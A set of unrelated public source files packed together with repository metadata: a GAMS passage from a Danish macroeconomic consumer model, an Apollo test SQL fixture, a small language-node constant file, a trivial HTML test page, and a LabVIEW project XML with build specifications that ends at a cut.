+ (vPensArv['Pens',a,t] - rHtM * vPensArv['PensX',a,t]) / (1-rHtM) # Samlet pension for fremadskuende agenter, som gives videre i tilfælde af død
) / EpC[t] + cArv[a,t] * qBVT2hLsnit[t]/qBVT2hLsnit[tBase];
# ------------------------------------------------------------------------------------------------------------------
# Nytte af formue
# ------------------------------------------------------------------------------------------------------------------
E_qFormueBase[a,t]$(a18t100[a] and tx0[t] and t.val > 2015)..
qFormueBase[a,t] =E= (vHhx[a,t]/(1-rHtM)
+ pBolig[t] * qBoligR[a,t] * (rMaxRealkred[t] - rRealKred2Bolig[a,t])
+ ((1-tKapPens[t]) * vHh['Kap',a,t] + vHh['Alder',a,t]) / (1-rHtM)
) / EpC[t] + cFormue[a,t] * qBVT2hLsnit[t]/qBVT2hLsnit[tBase];
# Derivative of wealth utility with respect to net assets
E_dFormue[a,t]$(a18t100[a] and tx0[t] and t.val > 2015)..
dFormue[a,t] =E= uFormue[a,t] / EpC[t] * qFormueBase[a,t]**(-eHh);
# Derivative of bequest utility with respect to net assets
E_dArv[a,t]$(a18t100[a] and tx0E[t] and t.val > 2015)..
dArv[a,t] =E= uArv[a,t] * (1-tArv[t+1]) / EpC[t] * qArvBase[a,t]**(-eHh);
E_dArv_tEnd[a,t]$(a18t100[a] and tEnd[t])..
dArv[a,t] =E= uArv[a,t] * (1-tArv[t]) / EpC[t] * qArvBase[a,t]**(-eHh);
# Bequest taxes
E_vtArv[a,t]$(tx0[t] and t.val > 2015)..
vtArv[a,t] =E= tArv[t] * vArv[a,t];
E_vtArv_tot[t]$(tx0[t] and t.val > 2015).. vtArv[aTot,t] =E= tArv[t] * vArv[aTot,t];
# ------------------------------------------------------------------------------------------------------------------
# Overførsler mellem børn og forældre som redegør for ændringer i børns opsparing.
# ------------------------------------------------------------------------------------------------------------------
E_vBoernFraHh[a,t]$(tx0[t] and a0t17[a] and t.val > 2015)..
vHhx[a,t] =E= (uBoernFraHh[a,t]) * vHhx[aTot,t] / nPop[a,t];
E_vHhTilBorn_aTot[t]$(tx0[t] and t.val > 2015).. vHhTilBoern[aTot,t] =E= sum(aa, vBoernFraHh[aa,t] * nPop[aa,t]);
E_vHhTilBoern[a,t]$(a18t100[a] and tx0[t] and t.val > 2015)..
vHhTilBoern[a,t] =E= rBoern[a,t] * vHhTilBoern[aTot,t];
# ------------------------------------------------------------------------------------------------------------------
# Biler - kapitalapparat til beregning vægtafgift
# ------------------------------------------------------------------------------------------------------------------
E_qBiler[t]$(tx0[t]).. qBiler[t] =E= (1-rBilAfskr[t]) * qBiler[t-1]/fq + qC['cBil',t];
# ------------------------------------------------------------------------------------------------------------------
# Opdeling af aldersfordelte parametre i tids- og aldersfordelte elementer
# ------------------------------------------------------------------------------------------------------------------
E_rDisk[a,t]$(a15t100[a] and tx0[t] and t.val > 2015)..
rDisk[a,t] =E= rDisk_t[t] + rDisk_a[a,t];
E_uBolig[a,t]$(a18t100[a] and tx0[t] and t.val > 2015)..
uBolig[a,t] =E= uBolig_t[t] + uBolig_a[a,t];
E_fHh[a,t]$(a18t100[a] and tx0[t] and t.val > 2015).. fHh[a,t] =E= 1 + 0.5 * rBoern[a,t] * nPop['a0t17',t];
E_uBoligHtM[a,t]$(a18t100[a] and tx0[t] and t.val > 2015)..
uBoligHtM[a,t] =E= uBoligHtM_t[t] * uBoligHtM_a[a,t] * uBoligHtM_match;
E_uBoernFraHh[a,t]$(a0t17[a] and tx0[t] and t.val > 2015)..
uBoernFraHh[a,t] =E= uBoernFraHh_t[t] + uBoernFraHh_a[a,t];
# ------------------------------------------------------------------------------------------------------------------
# Term to adjust for migration
# ------------------------------------------------------------------------------------------------------------------
# The key assumption is sharing within the cohort and that migrants arrive and leave with zero net assets
E_fMigration[a,t]$(tx0[t] and a.val <= 100 and t.val > 2015)..
fMigration[a,t] =E= rOverlev[a-1,t-1] * nPop[a-1,t-1] / nPop[a,t];
E_fMigration_aEnd[a,t]$(tx0[t] and a.val > 100 and t.val > 2015)..
fMigration[a,t] =E= 1;
E_fMigration_tot[t]$(tx0[t] and t.val > 1991)..
fMigration[aTot,t] =E= rOverlev[aTot,t-1] * nPop[aTot,t-1] / nPop[aTot,t];
$ENDBLOCK
$ENDIF | GAMS | 5 | gemal/MAKRO | Model/consumers.gms | [
"MIT"
] |
--
-- Copyright 2021 Apollo Authors
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
INSERT INTO `appnamespace` (`Id`, `Name`, `AppId`, `Format`, `IsPublic`, `Comment`, `IsDeleted`, `DataChange_CreatedBy`, `DataChange_CreatedTime`, `DataChange_LastModifiedBy`, `DataChange_LastTime`)
VALUES
(139, 'FX.old', '100003173', 'properties', 1, '', 0, 'zhanglea', '2016-07-11 10:00:58', 'zhanglea', '2016-07-11 10:00:58'),
(140, 'SCC.song0711-03', 'song0711-01', 'properties', 1, '', 0, 'song_s', '2016-07-11 10:04:09', 'song_s', '2016-07-11 10:04:09'),
(141, 'SCC.song0711-04', 'song0711-01', 'properties', 1, '', 0, 'song_s', '2016-07-11 10:06:29', 'song_s', '2016-07-11 10:06:29'),
(142, 'application', 'song0711-02', 'properties', 1, 'default app namespace', 0, 'song_s', '2016-07-11 11:18:24', 'song_s', '2016-07-11 11:18:24'),
(143, 'TFF.song0711-02', 'song0711-02', 'properties', 0, '', 0, 'song_s', '2016-07-11 11:15:11', 'song_s', '2016-07-11 11:15:11'),
(144, 'datasourcexml', '100003173', 'properties', 1, '', 0, 'apollo', '2016-07-11 12:08:29', 'apollo', '2016-07-11 12:08:29'),
(145, 'datasource.xml', '100003173', 'xml', 0, '', 0, 'apollo', '2016-07-11 12:09:30', 'apollo', '2016-07-11 12:09:30'),
(146, 'FX.private-01', '100003173', 'properties', 0, '', 0, 'apollo', '2016-07-11 12:09:30', 'apollo', '2016-07-11 12:09:30'),
(147, 'datasource', '100003173', 'properties', 0, '', 0, 'apollo', '2016-07-11 12:09:30', 'apollo', '2016-07-11 12:09:30');
INSERT INTO `app` (`AppId`, `Name`, `OrgId`, `OrgName`, `OwnerName`, `OwnerEmail`, `IsDeleted`, `DataChange_CreatedBy`, `DataChange_LastModifiedBy`)
VALUES
('1000', 'apollo-test', 'FX', '框架', 'song_s', 'song_s@ctrip.com', 0, 'song_s', 'song_s'),
('song0711-01', 'song0711-01', 'SCC', '框架', 'song_s', 'song_s@ctrip.com', 0, 'song_s', 'song_s'),
('song0711-02', 'song0711-02', 'SCC', '框架', 'song_s', 'song_s@ctrip.com', 0, 'song_s', 'song_s'),
('100003173', 'apollo-portal', 'FX', '框架', 'song_s', 'song_s@ctrip.com', 0, 'song_s', 'song_s');
| SQL | 3 | lff0305/apollo | apollo-portal/src/test/resources/sql/appnamespaceservice/init-appnamespace.sql | [
"Apache-2.0"
] |
(%
% rowl - 1st generation
% Copyright (C) 2010 nineties
%
% $Id: code.rl 2010-06-02 09:20:21 nineties $
%);
NODE_CONS => 0;
NODE_SYMBOL => 1;
NODE_INT => 2;
NODE_CHAR => 3;
NODE_STRING => 4;
NODE_PRIM => 5; (% (code,ptr) %);
NODE_ARRAY => 6; (% (code,size,buf) %);
NODE_LAMBDA => 7; (% (code,params,body) %);
NODE_MACRO => 8; (% (code,params,body) %);
NODE_QUOTE => 9; (% (code,sexp) %);
NODE_UNQUOTE => 10; (% (code,sexp) %);
NODE_IGNORE => 11;
| Ragel in Ruby Host | 3 | waldo2590/amber-1 | amber/code.rl | [
"MIT"
] |
<html>
<head>
</head>
<body>
<p>Console Test</p>
</body>
</html>
| HTML | 0 | weilandia/selenium | common/src/web/devToolsConsoleTest.html | [
"Apache-2.0"
] |
<?xml version='1.0' encoding='UTF-8'?>
<Project Type="Project" LVVersion="16008000">
<Item Name="My Computer" Type="My Computer">
<Property Name="server.app.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.control.propertiesEnabled" Type="Bool">true</Property>
<Property Name="server.tcp.enabled" Type="Bool">false</Property>
<Property Name="server.tcp.port" Type="Int">0</Property>
<Property Name="server.tcp.serviceName" Type="Str">My Computer/VI Server</Property>
<Property Name="server.tcp.serviceName.default" Type="Str">My Computer/VI Server</Property>
<Property Name="server.vi.callsEnabled" Type="Bool">true</Property>
<Property Name="server.vi.propertiesEnabled" Type="Bool">true</Property>
<Property Name="specify.custom.address" Type="Bool">false</Property>
<Item Name="menu.rtm" Type="Document" URL="../menu.rtm"/>
<Item Name="Perfect.ico" Type="Document" URL="../Perfect.ico"/>
<Item Name="Pid.vi" Type="VI" URL="../Pid.vi"/>
<Item Name="保存数据格式.vi" Type="VI" URL="../保存数据格式.vi"/>
<Item Name="计算合并值.vi" Type="VI" URL="../计算合并值.vi"/>
<Item Name="计算合并值32位.vi" Type="VI" URL="../计算合并值32位.vi"/>
<Item Name="整合数据6.vi" Type="VI" URL="../整合数据6.vi"/>
<Item Name="整合数据9.vi" Type="VI" URL="../整合数据9.vi"/>
<Item Name="整合数据10.vi" Type="VI" URL="../整合数据10.vi"/>
<Item Name="整合数据ID2.vi" Type="VI" URL="../整合数据ID2.vi"/>
<Item Name="帧12打包.vi" Type="VI" URL="../帧12打包.vi"/>
<Item Name="帧16打包.vi" Type="VI" URL="../帧16打包.vi"/>
<Item Name="Dependencies" Type="Dependencies">
<Item Name="vi.lib" Type="Folder">
<Item Name="Application Directory.vi" Type="VI" URL="/<vilib>/Utility/file.llb/Application Directory.vi"/>
<Item Name="BuildHelpPath.vi" Type="VI" URL="/<vilib>/Utility/error.llb/BuildHelpPath.vi"/>
<Item Name="Check Special Tags.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Check Special Tags.vi"/>
<Item Name="Clear Errors.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Clear Errors.vi"/>
<Item Name="Convert property node font to graphics font.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Convert property node font to graphics font.vi"/>
<Item Name="Details Display Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Details Display Dialog.vi"/>
<Item Name="DialogType.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/DialogType.ctl"/>
<Item Name="DialogTypeEnum.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/DialogTypeEnum.ctl"/>
<Item Name="Dynamic To Waveform Array.vi" Type="VI" URL="/<vilib>/express/express shared/transition.llb/Dynamic To Waveform Array.vi"/>
<Item Name="Error Cluster From Error Code.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Error Cluster From Error Code.vi"/>
<Item Name="Error Code Database.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Error Code Database.vi"/>
<Item Name="ErrWarn.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/ErrWarn.ctl"/>
<Item Name="eventvkey.ctl" Type="VI" URL="/<vilib>/event_ctls.llb/eventvkey.ctl"/>
<Item Name="Find Tag.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Find Tag.vi"/>
<Item Name="Format Message String.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Format Message String.vi"/>
<Item Name="General Error Handler Core CORE.vi" Type="VI" URL="/<vilib>/Utility/error.llb/General Error Handler Core CORE.vi"/>
<Item Name="General Error Handler.vi" Type="VI" URL="/<vilib>/Utility/error.llb/General Error Handler.vi"/>
<Item Name="Get String Text Bounds.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Get String Text Bounds.vi"/>
<Item Name="Get Text Rect.vi" Type="VI" URL="/<vilib>/picture/picture.llb/Get Text Rect.vi"/>
<Item Name="GetHelpDir.vi" Type="VI" URL="/<vilib>/Utility/error.llb/GetHelpDir.vi"/>
<Item Name="GetRTHostConnectedProp.vi" Type="VI" URL="/<vilib>/Utility/error.llb/GetRTHostConnectedProp.vi"/>
<Item Name="Longest Line Length in Pixels.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Longest Line Length in Pixels.vi"/>
<Item Name="LVBoundsTypeDef.ctl" Type="VI" URL="/<vilib>/Utility/miscctls.llb/LVBoundsTypeDef.ctl"/>
<Item Name="LVRectTypeDef.ctl" Type="VI" URL="/<vilib>/Utility/miscctls.llb/LVRectTypeDef.ctl"/>
<Item Name="NI_FileType.lvlib" Type="Library" URL="/<vilib>/Utility/lvfile.llb/NI_FileType.lvlib"/>
<Item Name="Not Found Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Not Found Dialog.vi"/>
<Item Name="Number of Waveform Samples.vi" Type="VI" URL="/<vilib>/Waveform/WDTOps.llb/Number of Waveform Samples.vi"/>
<Item Name="Search and Replace Pattern.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Search and Replace Pattern.vi"/>
<Item Name="Set Bold Text.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Set Bold Text.vi"/>
<Item Name="Set String Value.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Set String Value.vi"/>
<Item Name="Simple Error Handler.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Simple Error Handler.vi"/>
<Item Name="TagReturnType.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/TagReturnType.ctl"/>
<Item Name="Three Button Dialog CORE.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Three Button Dialog CORE.vi"/>
<Item Name="Three Button Dialog.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Three Button Dialog.vi"/>
<Item Name="Trim Whitespace.vi" Type="VI" URL="/<vilib>/Utility/error.llb/Trim Whitespace.vi"/>
<Item Name="VISA Configure Serial Port" Type="VI" URL="/<vilib>/Instr/_visa.llb/VISA Configure Serial Port"/>
<Item Name="VISA Configure Serial Port (Instr).vi" Type="VI" URL="/<vilib>/Instr/_visa.llb/VISA Configure Serial Port (Instr).vi"/>
<Item Name="VISA Configure Serial Port (Serial Instr).vi" Type="VI" URL="/<vilib>/Instr/_visa.llb/VISA Configure Serial Port (Serial Instr).vi"/>
<Item Name="WDT Number of Waveform Samples CDB.vi" Type="VI" URL="/<vilib>/Waveform/WDTOps.llb/WDT Number of Waveform Samples CDB.vi"/>
<Item Name="WDT Number of Waveform Samples DBL.vi" Type="VI" URL="/<vilib>/Waveform/WDTOps.llb/WDT Number of Waveform Samples DBL.vi"/>
<Item Name="WDT Number of Waveform Samples EXT.vi" Type="VI" URL="/<vilib>/Waveform/WDTOps.llb/WDT Number of Waveform Samples EXT.vi"/>
<Item Name="WDT Number of Waveform Samples I8.vi" Type="VI" URL="/<vilib>/Waveform/WDTOps.llb/WDT Number of Waveform Samples I8.vi"/>
<Item Name="WDT Number of Waveform Samples I16.vi" Type="VI" URL="/<vilib>/Waveform/WDTOps.llb/WDT Number of Waveform Samples I16.vi"/>
<Item Name="WDT Number of Waveform Samples I32.vi" Type="VI" URL="/<vilib>/Waveform/WDTOps.llb/WDT Number of Waveform Samples I32.vi"/>
<Item Name="WDT Number of Waveform Samples SGL.vi" Type="VI" URL="/<vilib>/Waveform/WDTOps.llb/WDT Number of Waveform Samples SGL.vi"/>
<Item Name="whitespace.ctl" Type="VI" URL="/<vilib>/Utility/error.llb/whitespace.ctl"/>
<Item Name="Write Delimited Spreadsheet (DBL).vi" Type="VI" URL="/<vilib>/Utility/file.llb/Write Delimited Spreadsheet (DBL).vi"/>
<Item Name="Write Delimited Spreadsheet (I64).vi" Type="VI" URL="/<vilib>/Utility/file.llb/Write Delimited Spreadsheet (I64).vi"/>
<Item Name="Write Delimited Spreadsheet (string).vi" Type="VI" URL="/<vilib>/Utility/file.llb/Write Delimited Spreadsheet (string).vi"/>
<Item Name="Write Delimited Spreadsheet.vi" Type="VI" URL="/<vilib>/Utility/file.llb/Write Delimited Spreadsheet.vi"/>
<Item Name="Write Spreadsheet String.vi" Type="VI" URL="/<vilib>/Utility/file.llb/Write Spreadsheet String.vi"/>
</Item>
</Item>
<Item Name="Build Specifications" Type="Build">
<Item Name="Perfect_4_0" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{449DE597-04F8-4363-919A-872286C1F009}</Property>
<Property Name="App_INI_GUID" Type="Str">{EE1FBF66-E700-48BA-9B94-993EBF702E91}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{D2B5FA0D-1823-44E7-8DBE-F4C9F7367337}</Property>
<Property Name="Bld_buildSpecName" Type="Str">Perfect_4_0</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_4_0</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{DAA07CBE-64E3-4EF0-92E9-09C8F87ED94C}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Perfect_4_0.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_4_0/Perfect_4_0.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_4_0/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref">/My Computer/Perfect.ico</Property>
<Property Name="Source[0].itemID" Type="Str">{0D2D3F04-46D7-4D80-B259-199C3CCE66D8}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="Source[2].destinationIndex" Type="Int">0</Property>
<Property Name="Source[2].itemID" Type="Ref">/My Computer/保存数据格式.vi</Property>
<Property Name="Source[2].sourceInclusion" Type="Str">Include</Property>
<Property Name="Source[2].type" Type="Str">VI</Property>
<Property Name="Source[3].destinationIndex" Type="Int">0</Property>
<Property Name="Source[3].itemID" Type="Ref">/My Computer/计算合并值.vi</Property>
<Property Name="Source[3].sourceInclusion" Type="Str">Include</Property>
<Property Name="Source[3].type" Type="Str">VI</Property>
<Property Name="Source[4].destinationIndex" Type="Int">0</Property>
<Property Name="Source[4].itemID" Type="Ref">/My Computer/整合数据6.vi</Property>
<Property Name="Source[4].sourceInclusion" Type="Str">Include</Property>
<Property Name="Source[4].type" Type="Str">VI</Property>
<Property Name="Source[5].destinationIndex" Type="Int">0</Property>
<Property Name="Source[5].itemID" Type="Ref">/My Computer/整合数据9.vi</Property>
<Property Name="Source[5].sourceInclusion" Type="Str">Include</Property>
<Property Name="Source[5].type" Type="Str">VI</Property>
<Property Name="Source[6].destinationIndex" Type="Int">0</Property>
<Property Name="Source[6].itemID" Type="Ref">/My Computer/帧12打包.vi</Property>
<Property Name="Source[6].sourceInclusion" Type="Str">Include</Property>
<Property Name="Source[6].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">7</Property>
<Property Name="TgtF_fileDescription" Type="Str">Perfect_4_0</Property>
<Property Name="TgtF_internalName" Type="Str">Perfect_4_0</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">Perfect_4_0</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{E887A7AF-BCBE-4403-B470-6C555F266A0F}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Perfect_4_0.exe</Property>
</Item>
<Item Name="Perfect_4_1" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{F1B78364-4915-464B-8D01-B8E2C26568FC}</Property>
<Property Name="App_INI_GUID" Type="Str">{6962A66C-42EF-402B-965A-5510312EC13D}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{81DE4700-F17E-4C1E-97E2-38E8971425C0}</Property>
<Property Name="Bld_buildSpecName" Type="Str">Perfect_4_1</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_4_1</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{A5B59864-7501-4F41-9D5A-B3B2795E013E}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Perfect_4_1.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_4_1/Perfect_4_1.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_4_1/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref">/My Computer/Perfect.ico</Property>
<Property Name="Source[0].itemID" Type="Str">{FF0C5C5D-B413-48E2-BF27-61993BA2A8C9}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_fileDescription" Type="Str">Perfect_4_1</Property>
<Property Name="TgtF_internalName" Type="Str">Perfect_4_1</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">Perfect_4_1</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{3C98E5D6-538F-4B62-ADA0-1501FBEE2135}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Perfect_4_1.exe</Property>
</Item>
<Item Name="Perfect_4_2" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{878DB08F-207F-45E1-BC29-0B3F62E767BF}</Property>
<Property Name="App_INI_GUID" Type="Str">{15745D78-BB3B-4E30-AB00-B5CB95586544}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{7BEABF95-B52A-456C-A715-7011490509B2}</Property>
<Property Name="Bld_buildSpecName" Type="Str">Perfect_4_2</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_4_2</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{17AD0ED1-C95F-44E2-B4B9-35B2A0D440A3}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Perfect_4_2.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_4_2/Perfect_4_2.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_4_2/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref">/My Computer/Perfect.ico</Property>
<Property Name="Source[0].itemID" Type="Str">{F9E30B06-3C20-4DF2-9EA2-81344417E923}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_fileDescription" Type="Str">Perfect_4_2</Property>
<Property Name="TgtF_internalName" Type="Str">Perfect_4_2</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">Perfect_4_2</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{B6492A53-6863-407A-9644-44A997B488D3}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Perfect_4_2.exe</Property>
</Item>
<Item Name="Perfect_5_0" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{8AAEFBA6-4BC3-466E-9DF3-49D597565603}</Property>
<Property Name="App_INI_GUID" Type="Str">{627B9010-7FF8-4DC3-9A5B-0C0C7D15531F}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{9E1A89EB-14AD-4800-B4A4-8A50C0584E99}</Property>
<Property Name="Bld_buildSpecName" Type="Str">Perfect_5_0</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
<Property Name="Bld_localDestDir" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_0</Property>
<Property Name="Bld_localDestDirType" Type="Str">relativeToCommon</Property>
<Property Name="Bld_modifyLibraryFile" Type="Bool">true</Property>
<Property Name="Bld_previewCacheID" Type="Str">{1E1B2E81-6F8F-4E21-B3C6-7720ABDA2323}</Property>
<Property Name="Bld_version.build" Type="Int">1</Property>
<Property Name="Bld_version.major" Type="Int">1</Property>
<Property Name="Destination[0].destName" Type="Str">Perfect_5_0.exe</Property>
<Property Name="Destination[0].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_0/Perfect_5_0.exe</Property>
<Property Name="Destination[0].preserveHierarchy" Type="Bool">true</Property>
<Property Name="Destination[0].type" Type="Str">App</Property>
<Property Name="Destination[1].destName" Type="Str">Support Directory</Property>
<Property Name="Destination[1].path" Type="Path">../builds/NI_AB_PROJECTNAME/Perfect_5_0/data</Property>
<Property Name="DestinationCount" Type="Int">2</Property>
<Property Name="Exe_iconItemID" Type="Ref">/My Computer/Perfect.ico</Property>
<Property Name="Source[0].itemID" Type="Str">{4C1D4FC2-AC07-481D-B122-292925D01509}</Property>
<Property Name="Source[0].type" Type="Str">Container</Property>
<Property Name="Source[1].destinationIndex" Type="Int">0</Property>
<Property Name="Source[1].itemID" Type="Ref">/My Computer/Pid.vi</Property>
<Property Name="Source[1].sourceInclusion" Type="Str">TopLevel</Property>
<Property Name="Source[1].type" Type="Str">VI</Property>
<Property Name="SourceCount" Type="Int">2</Property>
<Property Name="TgtF_fileDescription" Type="Str">Perfect_5_0</Property>
<Property Name="TgtF_internalName" Type="Str">Perfect_5_0</Property>
<Property Name="TgtF_legalCopyright" Type="Str">Copyright ?2018 </Property>
<Property Name="TgtF_productName" Type="Str">Perfect_5_0</Property>
<Property Name="TgtF_targetfileGUID" Type="Str">{BEBA66D3-45A4-46EF-92DF-CC044A287D26}</Property>
<Property Name="TgtF_targetfileName" Type="Str">Perfect_5_0.exe</Property>
</Item>
<Item Name="Perfect_5_1" Type="EXE">
<Property Name="App_copyErrors" Type="Bool">true</Property>
<Property Name="App_INI_aliasGUID" Type="Str">{07A89A47-AF7C-4467-A437-B63F6A4DC87A}</Property>
<Property Name="App_INI_GUID" Type="Str">{C8AE6DD1-9B9B-4AD2-B16F-03AD67263F6E}</Property>
<Property Name="App_serverConfig.httpPort" Type="Int">8002</Property>
<Property Name="Bld_autoIncrement" Type="Bool">true</Property>
<Property Name="Bld_buildCacheID" Type="Str">{9CBC92D6-CE5C-4916-B345-33FCBBC68DE9}</Property>
<Property Name="Bld_buildSpecName" Type="Str">Perfect_5_1</Property>
<Property Name="Bld_excludeInlineSubVIs" Type="Bool">true</Property>
<Property Name="Bld_excludeLibraryItems" Type="Bool">true</Property>
<Property Name="Bld_excludePolymorphicVIs" Type="Bool">true</Property>
